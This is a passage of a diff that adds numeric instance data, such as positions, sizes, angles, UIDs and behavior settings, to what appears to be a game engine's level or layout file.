+ ],
+ [
+ [
+ 4340,
+ 765,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 2966,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4192,
+ 765,
+ 0,
+ 170,
+ 57,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ 0,
+ 0,
+ []
+ ],
+ 389,
+ 2967,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 963,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 2968,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5173,
+ 1790,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2969,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5966,
+ 912,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 2970,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5966,950",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5968,
+ 928,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 2971,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5969,
+ 582,
+ 0,
+ 13,
+ 804,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 2972,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8410.916015625,
+ 604.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 2973,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8410.916015625,
+ 728.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 2974,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8283.916015625,
+ 604.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 2975,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8283.916015625,
+ 730.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 2976,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8537.916015625,
+ 604.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 2977,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8537.916015625,
+ 728.7271118164062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 2978,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6239,
+ 1929,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2979,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6417,
+ 1552,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 2980,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1564,
+ 1668,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 2981,
+ [],
+ [
+ [
+ 50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5729,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 2982,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 2983,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5783,
+ 1569,
+ 0,
+ 59,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0.508474588394165,
+ 0.5423728823661804,
+ 0,
+ 0,
+ []
+ ],
+ 390,
+ 2984,
+ [],
+ [
+ [
+ 300,
+ 0
+ ],
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7786,
+ 574,
+ 0,
+ 257,
+ 16,
+ 0,
+ 0,
+ 1,
+ 0.5019454956054688,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 387,
+ 2985,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6285,
+ 1108,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 2986,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 2987,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 2988,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 2989,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 2990,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 2991,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 2992,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 2993,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 2994,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 173,
+ 847,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 2995,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 170,
+ 847,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 2996,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 172,
+ 822,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 2997,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 172,
+ 823,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 2998,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -725,
+ 55,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 2999,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3000,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3670,
+ 1757,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 3001,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2036,
+ 2128,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 3002,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1918,
+ 2244,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 3003,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ 731,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 3004,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3597,
+ 783,
+ 0,
+ 24.95556640625,
+ 166.9776000976563,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 3005,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3881,
+ 777,
+ 0,
+ 25.62890625,
+ 158.4940185546875,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 3006,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ 719,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 3007,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3720,
+ 735,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 3008,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3762,
+ 735,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 3009,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -809,
+ 1072,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 3010,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 4928,
+ 2524,
+ 0,
+ 140,
+ 138,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 386,
+ 3011,
+ [],
+ [
+ [
+ 0,
+ 2,
+ 0,
+ 0.5,
+ 1,
+ 0,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1925,
+ 1602,
+ 0,
+ 217.7560882568359,
+ 33.89113616943359,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 3012,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4927.19873046875,
+ 2523.060791015625,
+ 0,
+ 121.3048629760742,
+ 121.3048629760742,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 403,
+ 3013,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1024,
+ 2159,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3014,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 905,
+ 1988,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3015,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 489,
+ 811,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3016,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7904.54150390625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3017,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8031.54150390625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3018,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8158.54150390625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3019,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8285.541015625,
+ 855.795654296875,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3020,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7905.07177734375,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3021,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8032.07177734375,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3022,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8159.07177734375,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3023,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8285.072265625,
+ 978.0015258789062,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3024,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8412,
+ 855.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3025,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8539,
+ 855.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 3026,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8412,
+ 977.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3027,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8538,
+ 977.8434448242188,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3028,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2258,
+ 1947,
+ 0,
+ 354,
+ 390,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3029,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6954.8193359375,
+ 950.9053955078125,
+ 0,
+ 1110,
+ 761.2923583984375,
+ 0,
+ 0.7853981852531433,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3030,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7918.5,
+ 1175,
+ 0,
+ 1391,
+ 760,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3031,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8498.5,
+ 577,
+ 0,
+ 527,
+ 67,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3032,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8520.5,
+ 710,
+ 0,
+ 518,
+ 203,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3033,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3211,
+ 1750,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 3034,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2829,
+ 1746,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 3035,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167,
+ 1915,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 3036,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3436,
+ 1834,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 3037,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3701,
+ 1768,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 3038,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4804,
+ 1867,
+ 0,
+ 98,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.9897959232330322,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 465,
+ 3039,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1756,
+ 1599,
+ 0,
+ 217.7560882568359,
+ 33.89113616943359,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 3040,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 32,
+ 896,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 3041,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 32,
+ 988,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
